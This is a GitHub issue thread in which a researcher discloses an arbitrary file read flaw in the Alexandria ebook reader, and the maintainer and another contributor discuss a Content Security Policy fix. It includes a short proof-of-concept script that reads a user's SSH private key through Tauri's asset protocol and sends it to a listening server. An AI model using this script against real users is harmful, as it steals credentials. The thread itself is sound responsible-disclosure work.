btpf / Alexandria

A minimalistic cross-platform eBook reader built with Tauri, Epub.js, and Typescript
GNU General Public License v3.0
2.07k stars 42 forks source link

Arbitrary file read vulnerability #46

Open theGEBIRGE opened 2 months ago

theGEBIRGE commented 2 months ago

Hey, I've discovered a vulnerability in Alexandria. I'm sticking to GitHub's default template for advisories (maybe consider adding a SECURITY.md):

Summary

An ebook containing malicious scripts has read-access to every file the current user has access to. The book needs to be opened by the user for this to work. Testing was done on version 0.12.0 on Windows.

Details

The epub.js configuration optionallowScriptedContent = true makes it possible to execute arbitrary JavaScript code from within an epub file: https://github.com/btpf/Alexandria/blob/8221c77d793cab5c694707ea09f96ba41aaa3ba3/src/routes/Reader/ReaderView/ReaderView.tsx#L315

epub.js itself uses an iframe to display the epubs. While it does set the sandbox attribute, it also sets allow-same-origin.

This can't be changed by the consumer of the library. A combination of allow-scripts and allow-same-origin renders the sandboxing obsolete (see here).

The developers of epub.js warn about this.

In the case of Alexandria, every function annotated with #[tauri::command] is accessible to the script. An attacker might get creative with those, especially if more get added.

I've chosen a different route: Tauri is configured to enable the custom asset protocol: https://github.com/btpf/Alexandria/blob/8221c77d793cab5c694707ea09f96ba41aaa3ba3/src-tauri/tauri.conf.json#L24

Because a wildcard is used, every file accessible to the user can be served that way. Using fetch or XMLHttpRequest, the file contents can then be exfiltrated (see PoC video).

PoC

An ebook can be crafted with Calibre to include this bare minimum script (with a different file path):

(async function() {
const response = await fetch("https://asset.localhost/C:/Users/Public/.ssh/id_ed25519");
const file = await response.blob();
const privateKey = await file.text();
fetch(`http://localhost:8000?key=%${privateKey}`, { mode: "no-cors" });
})()

Impact

Users have to download a malicious book and open it, so the impact is not that severe. However, the attacker doesn't have to prepare a book specifically for Alexandria, but can use some fingerprinting to determine in what environment it's running.

Distribution of malicious books could be done via pirate sites or even (online) conversion services, which could inject those malicious scripts.

Overall, I wouldn't be too worried. :^)

Some ideas

In an ideal world, scripted content would be turned off. There are, however, limitations with that approach. The author of foliate sums it up nicely here. Maybe the user could be given the option to toggle scripted content.

Furthermore, the asset protocol could be confined to known paths.

That's it! If something's unclear, please ask away.

Cheers Frederic

PS: Audio warning for the PoC video!

https://github.com/btpf/Alexandria/assets/36849099/80ebad37-761b-40ce-bd50-5a5723545d8b

btpf commented 2 months ago

Hey Frederic, Thanks for the detailed writeup!

I understand that allowing javascript and a wildcard access scope opens up a lot of surface area, But I think users, even in the case of malicious scripts, should be safe.

The reason I believe this is because I have the HttpAllowlistScope set here https://github.com/btpf/Alexandria/blob/main/src-tauri/tauri.conf.json#L28

https://tauri.app/v1/api/config/#httpallowlistconfig

So even if a malicious script reads a file off the FS, if working as intended, data could not send it out anywhere.

If I'm mistaken, or there are other security implications, please let me know so I can explore solutions.

Thanks

theGEBIRGE commented 2 months ago

Hey, you're welcome!

That's a plausible assumption. After reading you're comment, I thought that maybe testing on localhost enabled me to make the HTTP request. Sadly, that's not what I'm observing.

alexandria-successfull-http-request

After changing the script to make a request to webhook.site/...., it's still coming through.

theGEBIRGE commented 2 months ago

I've looked into it a bit more. At first I thought Tauri would intercept every HTTP call, but after reading this, this and this I'm pretty sure that HttpAllowListConfig is only respected by their own HTTP client.

The last link is for the beta of Tauri 2.0, but the design is probably the same. It says:

The current fetch method is an API to Rust backend. It tries to be as close and compliant to the fetch Web API as possible.

To me this sounds like I can use the Browser/WebView built-in fetch() without having to worry about those restrictions?

btpf commented 2 months ago

I thought that maybe testing on localhost enabled me to make the HTTP request

I thought the same thing.

This webhook.site also looks great btw, I was looking for something like this last night.

To solve this problem, I have defined the CSP string in tauri's settings. https://tauri.app/v1/api/config/#csp

See: https://github.com/btpf/Alexandria/commit/c71161182f9a71c8be1f5070bebc0cefc35690ba

I think this should block all outbound requests to malicious URLs

I went ahead and ran a build for you, I would appreciate if you could run your testing again.

https://github.com/btpf/Alexandria/actions/runs/9010574904

Let me know if you spot anything and if the CSP solution is working.

Thanks

theGEBIRGE commented 2 months ago

Hey,

I can verify that the CSP solution is working for inline scripts. However, inline styles are allowed, which may open up other possibilities. I don't have enough knowledge about that attack vector to give any informed opinion.

Why not set allowScriptedContent = false at this point, because the CSP already blocks every inline script (which includes legit ones). CSP bypasses are a lot more common than flatout breaking the security guarentees of an iframe.

Personally, I'd allow the users to toggle that setting themselves.

theGEBIRGE commented 2 months ago

Quick follow-up:

@johnfactotum provided an explanation for why CSP might be a better fit here.

johnfactotum commented 2 months ago

To add,

However, inline styles are allowed, which may open up other possibilities.

This is generally OK, I believe. style-src is only for the styles themselves. The resources that can be loaded by CSS would be governed by img-src, font-src, etc.

Also the CSP in c71161182f9a71c8be1f5070bebc0cefc35690ba probably needs to have data: in img-src or it would break images in FB2: https://github.com/btpf/Alexandria/blob/c71161182f9a71c8be1f5070bebc0cefc35690ba/src/shared/scripts/Parser/formats/fb2.ts#L313-L314

btpf commented 2 months ago

@theGEBIRGE Thanks for the follow up and raising awareness. I ran into the issues of iframe events not being propagated early on in development, and realized I had to keep scriptedContent enabled. As John said in the post you linked, annotations would not work and for Alexandria nor did page flipping (When clicking on the page). This would be the case on both linux and MacOS builds.

I think a CSP will be a better choice until this bug is resolved. https://bugs.webkit.org/show_bug.cgi?id=218086

@johnfactotum

Thanks for the clarification on style-src and once again solving a bug in Alexandria. Ill be sure to update the CSP to support data:


This issue will remain open for potential further discussion or until the next release for visibility.

Thanks!